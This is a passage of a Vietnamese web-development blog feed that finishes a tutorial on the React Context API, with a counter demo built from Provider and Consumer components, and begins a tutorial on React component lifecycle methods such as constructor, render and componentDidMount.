operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">number</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>number <span class="token operator">-</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>AppContext<span class="token punctuation">.</span>Provider value<span class="token operator">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">}</span><span class="token operator">></span> <span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>children<span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>AppContext<span class="token punctuation">.</span>Provider<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>AppProvider</strong> chính là một <a href="https://reactjs.org/docs/higher-order-components.html">Higher-Order Component</a> dùng để đóng gọi lại <em>AppContext.Provider</em>. Mà khi mình luôn sử dụng <strong>Provider</strong>, thì có nghĩa là <em>AppProvider</em> chính là Component lớn nhất chứa tất cả các Component còn lại. Do đó, mình sẽ định nghĩa state của App tại đây.</p> <p>Như bạn thấy, <strong>state</strong> bao gồm:</p> <ul> <li>Biến <strong>number</strong>: dùng để hiển thị ở component Red và Green.</li> <li>Phương thức <strong>inc()</strong>: dùng để tăng giá trị biến state <em>number</em> lên 1 đơn vị.</li> <li>Phương thức <strong>dec()</strong>: dùng để giảm giá trị biến state <em>number</em> đi 1 đơn vị.</li> </ul> <p>Cuối cùng, bên trong hàm <em>render(),</em> mình truyền giá trị <em>this.state</em> vào <em>value</em> của <em>AppContext.Provider</em>.</p> <h3 id="sử-dụng-appprovider" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-appprovider" aria-label="sử dụng appprovider permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng AppProvider</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">App</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>AppProvider<span class="token operator">></span> <span class="token operator">&lt;</span>Red <span class="token operator">/</span><span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>AppProvider<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> rootElement <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"root"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> ReactDOM<span class="token punctuation">.</span><span class="token function">render</span><span class="token punctuation">(</span><span class="token operator">&lt;</span>App <span class="token operator">/</span><span class="token operator">></span><span class="token punctuation">,</span> rootElement<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sử dụng AppProvider cũng không khác gì so với sử dụng các React Component khác nên mình sẽ để đây mà không giải thích gì thêm.</p> <h3 id="sử-dụng-contexttype-với-component-red" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-contexttype-v%E1%BB%9Bi-component-red" aria-label="sử dụng contexttype với component red permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng contextType với component Red</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Red</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"red"</span><span class="token operator">></span> <span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>context<span class="token punctuation">.</span>number<span class="token punctuation">}</span> <span class="token operator">&lt;</span>Blue <span class="token operator">/</span><span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> Red<span class="token punctuation">.</span>contextType <span class="token operator">=</span> AppContext<span class="token punctuation">;</span></code></pre></div> <p>Ở đây, mình sử dụng <strong>Class.contextType</strong> nên cần khai báo <em>Red</em> dạng class component. Và cách sử dụng thì khá đơn giản như mình đã đề cập ở trên.</p> <p>Mình xin nhấn mạnh lại, <strong>this.context</strong> tương ứng với giá trị của context tại Provider gần nhất. Đó chính là giá trị <strong>this.state</strong> mà mình truyền vào <em>AppContext.Provider</em> bên trên.</p> <h3 id="sử-dụng-consumer-tại-component-blue" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-consumer-t%E1%BA%A1i-component-blue" aria-label="sử dụng consumer tại component blue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng consumer tại component Blue</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">Blue</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"blue"</span><span class="token operator">></span> <span class="token operator">&lt;</span>AppContext<span class="token punctuation">.</span>Consumer<span class="token operator">></span> <span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token parameter">context</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span><span class="token operator">></span> <span class="token operator">&lt;</span>button onClick<span class="token operator">=</span><span class="token punctuation">{</span>context<span class="token punctuation">.</span>inc<span class="token punctuation">}</span><span class="token operator">></span><span class="token constant">INC</span><span class="token operator">&lt;</span><span class="token operator">/</span>button<span class="token operator">></span> <span class="token operator">&lt;</span>button onClick<span class="token operator">=</span><span class="token punctuation">{</span>context<span class="token punctuation">.</span>dec<span class="token punctuation">}</span><span class="token operator">></span><span class="token constant">DEC</span><span class="token operator">&lt;</span><span class="token operator">/</span>button<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span><span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">}</span> <span class="token operator">&lt;</span><span class="token operator">/</span>AppContext<span class="token punctuation">.</span>Consumer<span class="token operator">></span> <span class="token operator">&lt;</span>Green <span class="token operator">/</span><span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở component Blue, mình chỉ cần khai báo dạng Functional Component vì mình không sử dụng state cũng như các phương thức lifecycle tại đây.</p> <p>Bạn chú ý bên trong <em>AppContext.Consumer</em> là function dùng để render. Với context chính là giá trị của context tại Provider gần nhất. Đó cũng chính là giá trị <strong>this.state</strong> mà mình truyền vào <em>AppContext.Provider</em> bên trên.</p> <p>Bên trong hàm render trên, mình sử dụng thẻ rỗng &#x3C;>. Tuy nhiên, bạn cũng có thể sử dụng <a href="https://reactjs.org/docs/fragments.html">React.Fragment</a>. Như vậy là hợp lý vì mình không muốn thêm một thẻ <strong>div</strong> vô nghĩa tại đây.</p> <h3 id="sử-dụng-consumer-tại-component-green" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-consumer-t%E1%BA%A1i-component-green" aria-label="sử dụng consumer tại component green permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng consumer tại component Green</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Green</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"green"</span><span class="token operator">></span> <span class="token operator">&lt;</span>AppContext<span class="token punctuation">.</span>Consumer<span class="token operator">></span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token parameter">context</span><span class="token punctuation">)</span> <span class="token operator">=></span> context<span class="token punctuation">.</span>number<span class="token punctuation">}</span><span class="token operator">&lt;</span><span class="token operator">/</span>AppContext<span class="token punctuation">.</span>Consumer<span class="token operator">></span> <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Với mục đích demo, mình khai báo component Green dạng Class Component. Chứ thực tế là mình có thể khai báo nó dạng Functional Component.</p> <p>Về cách sử dụng Context thì hoàn toàn giống bên trên rồi nhỉ?</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Như vậy là mình đã tìm hiểu và làm Demo xong về React Context API. Dĩ nhiên, đây mới chỉ là một ví dụ đơn giản. Nên chưa thể khẳng định rằng mình có thể sử dụng React Context để thay thế hoàn toàn cho Redux. Tuy nhiên, tại thời điểm hiện tại mình thấy React Context API vẫn rất ổn.</p> <a href="https://vqlrp2xry3.codesandbox.io/" class="btn btn-primary margin-bottom"> Xem Demo </a> <a href="https://codesandbox.io/s/vqlrp2xry3" class="btn btn-primary margin-bottom"> Xem code </a> <p>Bạn thấy React Context API thế nào? Liệu nó có thể thay thế hoàn toàn cho các thư viện quản lý State trong React được không? Chia sẻ với mình nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại.</p> <p>Tham khảo:</p> <ul> <li><a href="https://hackernoon.com/how-to-use-the-new-react-context-api-fce011e7d87">How to use the new React context API</a></li> <li><a href="https://reactjs.org/docs/context.html">Context</a></li> </ul>[email protected]<![CDATA[Tìm hiểu React Component Lifecycle]]><![CDATA[Khi học và tìm hiểu về React Component, có lẽ bạn đã đôi lần nhìn thấy các phương thức như componentDidMount(), componentDidUpdate(), componentWillUnmount(),... Chúng được gọi là…]]>https://completejavascript.com/tim-hieu-react-component-lifecycle/https://completejavascript.com/tim-hieu-react-component-lifecycle/<![CDATA[React Lifecycle]]>Mon, 30 Jul 2018 22:30:03 GMT<p>Khi học và tìm hiểu về React Component, có lẽ bạn đã đôi lần nhìn thấy các phương thức như <em>componentDidMount(), componentDidUpdate(), componentWillUnmount(),...</em> Chúng được gọi là các "React lifecycle methods" - các phương thức trong vòng đời của React Component. Chúng cho phép bạn <strong>override</strong> để thực hiện một số nhiệm vụ nhất định. Do đó, việc hiểu và biết cách sử dụng các phương thức này là vô cùng quan trọng. Vì vậy, bài viết này mình sẽ đi vào tìm hiểu về React Component Lifecycle. Hay nói ngắn gọn hơn là "React Lifecycle".</p> <p><strong>Mục đích của bài viết:</strong></p> <ul> <li>Biết các phương thức trong React Component Lifecycle.</li> <li>Biết khi nào các phương thức này được gọi.</li> <li>Và ứng dụng các React lifecycle methods này trong trường hợp nào.</li> </ul> <h2 id="các-phương-thức-trong-react-component-lifecycle" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-trong-react-component-lifecycle" aria-label="các phương thức trong react component lifecycle permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức trong React Component Lifecycle</h2> <p>Các phương thức trong React Component Lifecycle có thể chia ra làm 3 pha chính là: <strong>Mounting</strong>, <strong>Updating</strong> và <strong>Unmounting</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 38.18181818181819%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABSklEQVQY0zWQ3W7DIAxG8/5Pt6ttVdutSSD8GEgAYyBpyrZEO1fWJx1/lrt2UNcagpdSAuh0gIgpoRCTlDL9gzFqrYWUxticc3fKOZfZx0lqoUyIKcQYDxsAtIbTPDNrrVLKOUdEnbWWEiUqvS7v3/A5zGKuCYOzJvglBp8w+sUtszu2JSJCRCJKKXVSimWekTID6hX2KnFbuKHrYLihQSEzxCAxHcPRjIje+3PoSq3P5zMRSRsZeA5eOpzAPyYQJjK1TCYIG5X7k8/CEMPfrUTdsvhEed9yq/2L7q0+tnDx8o3Me3Efm7+09dHqVytDLXQ+6LW/Wmv7vndaK0Rct3Uyw3283IZP41UuqIOc7HgfL1/8ykxvUVMmvaiH+L6N10H1gUK378/2autWxSy54SOMJthcC0SQR8KACScs2lIzeM1g5IZxw37lHyOlwZcau4NEAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sơ đồ các phương thức chính của React Component Lifecycle" title="Sơ đồ các phương thức chính của React Component Lifecycle" src="/static/b0603dba6cc7f524cdfaf2671184a61c/7c811/react-lifecycle-diagram.png" srcset="/static/b0603dba6cc7f524cdfaf2671184a61c/103f2/react-lifecycle-diagram.png 165w, /static/b0603dba6cc7f524cdfaf2671184a61c/748ba/react-lifecycle-diagram.png 330w, /static/b0603dba6cc7f524cdfaf2671184a61c/7c811/react-lifecycle-diagram.png 660w, /static/b0603dba6cc7f524cdfaf2671184a61c/d28e0/react-lifecycle-diagram.png 990w, /static/b0603dba6cc7f524cdfaf2671184a61c/acfc2/react-lifecycle-diagram.png 1091w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="các-phương-thức-trong-pha-mounting" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-trong-pha-mounting" aria-label="các phương thức trong pha mounting permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương thức trong pha Mounting</h3> <p>Mounting là giai đoạn khi React Component được tạo ra và render lên trên <a href="/co-ban-ve-dom-javascript/">DOM</a> tree.</p> <p>Các React lifecycle methods được gọi trong giai đoạn này lần lượt là:</p> <ul> <li>constructor()</li> <li>static getDerivedStateFromProps()</li> <li>render()</li> <li>componentDidMount()</li> </ul> <p>Trong đó, phương thức <em>render()</em> <strong>BẮT BUỘC</strong> phải có; phương thức <a href="https://reactjs.org/docs/react-component.html#static-getderivedstatefromprops">getDerivedStateFromProps()</a> ít khi sử dụng; phương thức <em>constructor()</em> và <em>componentDidMount()</em> thường xuyên được sử dụng - nhưng không bắt buộc.</p> <p>Vì vậy, dưới đây mình sẽ chỉ trình bày về các React lifecycle methods quan trọng và hay sử dụng.</p> <h4 id="phương-thức-constructor" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-constructor" aria-label="phương thức constructor permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức constructor()</h4> <p>Đối với class nói chung, <strong>constructor()</strong> luôn là phương thức được gọi đến <strong>ĐẦU TIÊN</strong> mỗi khi <a href="/js-pattern-constructor-pattern/">khởi tạo</a>. Tuy nhiên, bạn chỉ nên sử dụng phương thức này với 2 mục đích:</p> <ul> <li>Khởi tạo state cho React Component.</li> </ul> <ul> <li><a href="/phan-biet-call-apply-va-bind-trong-javascript/">Bind</a> method (xử lý event, sử dụng trong <a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout</a> hoặc <a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval</a>) với <strong>this</strong>.</li> </ul> <p>Ngược lại thì bạn có thể bỏ qua phương thức này, ví dụ:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">count</span><span class="token operator">:</span> <span class="token number">0</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateCounter <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateCounter</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Component bạn khai báo <a href="/ke-thua-co-ban-trong-javascript/">kế thừa</a> từ React.Component, nên bạn cần phải gọi hàm <em>super(props)</em> để gọi đến hàm khởi tạo của thằng cha React.Component. Nếu thiếu thì <em>this.props</em> sẽ là <strong>undefined</strong>.</li> <li><code>this.state = { count: 0 }</code>: khởi tạo biến thuộc state là: <strong>count = 0</strong>.</li> <li>Cuối cùng, <em>this.updateCounter</em> là hàm được sử dụng trong <em>setInterval</em> mà mình sẽ sử dụng trong ví dụ dưới. Mình cần phải <strong>bind</strong> phương thức này với <strong>this</strong> - là tham chiếu đến đối tượng Component hiện tại.</li> </ul> <h4 id="phương-thức-render" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-render" aria-label="phương thức render permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức render()</h4> <p>Đây là phương thức duy nhất <strong>bắt buộc</strong> phải có đối với React Component và có cấu trúc như sau:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token comment">/* Định nghĩa cấu trúc Component tại đây */</span> <span class="token punctuation">)</span> <span class="token punctuation">}</span></code></pre></div> <p>Phương thức này dùng để miêu tả cấu trúc của Component sau khi nó được chèn vào DOM tree. Nó bắt buộc được gọi lần đầu tiên để chèn Component vào <a href="/tag/html/">HTML</a>, và có thể được gọi lại để cập nhật giao diện mỗi khi state của Component thay đổi.</p> <p>Đặc biệt, bạn nên để phương thức này là <strong>Pure Function</strong> - nghĩa là nó không làm thay đổi state của Component, không tương tác với trình duyệt, không lấy dữ liệu từ server,...</p> <p>Chỉ đơn giản là nó lấy data từ <strong>this.props</strong> và <strong>this.state</strong> để xây dựng và cập nhật giao diện.</p> <h4 id="phương-thức-componentdidmount" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-componentdidmount" aria-label="phương thức componentdidmount permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức componentDidMount()</h4> <p>Phương thức <em>componentDidMount()</em> được gọi <strong>một lần duy nhất</strong> ngay sau khi Component được render xong. Và nếu để so sánh với <a href="/javascript/">JavaScript thuần</a> thì mình thấy phương thức này khá giống với việc bạn đăng ký sự kiện <a href="https://developer.mozilla.org/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a>.</p> <p>Chính vì tính chỉ được gọi <strong>một lần duy nhất</strong> nên bên trong phương thức này, mình có thể:</p> <ul> <li>Lấy dữ liệu từ server để cập lại state cho Component.</li> <li>Định nghĩa interval thông qua <em>setInterval</em> để thực hiện một số nhiệm vụ lặp lại.</li> <li>Lấy thông tin liên quan đến DOM node như kích thước thực tế (width, height) - vì lúc này chúng đã được hiển thị lên màn hình.</li> <li>Đăng ký <a href="/xu-ly-mot-event-javascript-co-ban/">sự kiện</a>: <em>resize, scroll,...</em></li> </ul> <p>Hết phương thức này, nghĩa là mình đã xử lý xong trong pha Mounting. Có 3 phương thức <strong>quan trọng</strong> mà bạn cần nhớ là:</p> <ul> <li>constructor()</li> <li>render()</li> <li>componentDidMount()</li> </ul> <p>Tiếp theo, mình sẽ xử lý việc cập nhật giao diện trong pha Updating.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60.60606060606061%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB1ElEQVQoz1WS6W7iUAxGef/nm2lFCUmAhGx395rkkoyAttJYln9YOjr+JB/2V23bNs8ag7fWIIKqEJGIBO+naUJE/invvbU2hKCqh1+YWEbj6ktjXUAkAGBmY0zb3mNMzAwAiDhNU3tvjTEi8g3v++aSlh19VuYyCiCn6INzKgyQCMFbA5AQn+cwvycf1nUVkZxXF6Ue+Nym6yh1j0XjyzZcB6x7uE1SdmA9EiEixhjfQQ7e+/behhAAZfQyOJqCdAbON1c0/jpS1ePgZfQc4hMmopQSEX2bVfXlZxWEFFRQBe8GisYd66FsQ0pIEF7W/+HfzPZ5tlY9XUa9TFq0cGqx7ORm83Vaz/1sPL3NAPANM3NKQIiAbCMbjy6yi+Rs52xjpqa7V2a6xdCl6F5uTOknMxF599zmdXmsqgKPVWfFTNeMhYYvsp9LOm1czuyWJeec53nOOa/rehAR5xyxbkvYl3qTap8vMP1J4wfbrzmVm972pd31umrMj+39FPu+55wPqmqMUZ1BYtWdjpePuj+zooGhdZe6K47137ov+tgAJ5tM2Z2/rsd6qFDgsG3b4/HYt52VBz8Mbhj9pMscOVmwox97+9x48qycKPauH549yCz/AEWzpnqwtZPhAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sơ đồ đầy đủ các phương thức của React Component Lifecycle" title="Sơ đồ đầy đủ các phương thức của React Component Lifecycle" src="/static/b137a2e4a4296bc48faba768ab399559/7c811/react-lifecycle-diagram-full.png" srcset="/static/b137a2e4a4296bc48faba768ab399559/103f2/react-lifecycle-diagram-full.png 165w, /static/b137a2e4a4296bc48faba768ab399559/748ba/react-lifecycle-diagram-full.png 330w, /static/b137a2e4a4296bc48faba768ab399559/7c811/react-lifecycle-diagram-full.png 660w, /static/b137a2e4a4296bc48faba768ab399559/d28e0/react-lifecycle-diagram-full.png 990w, 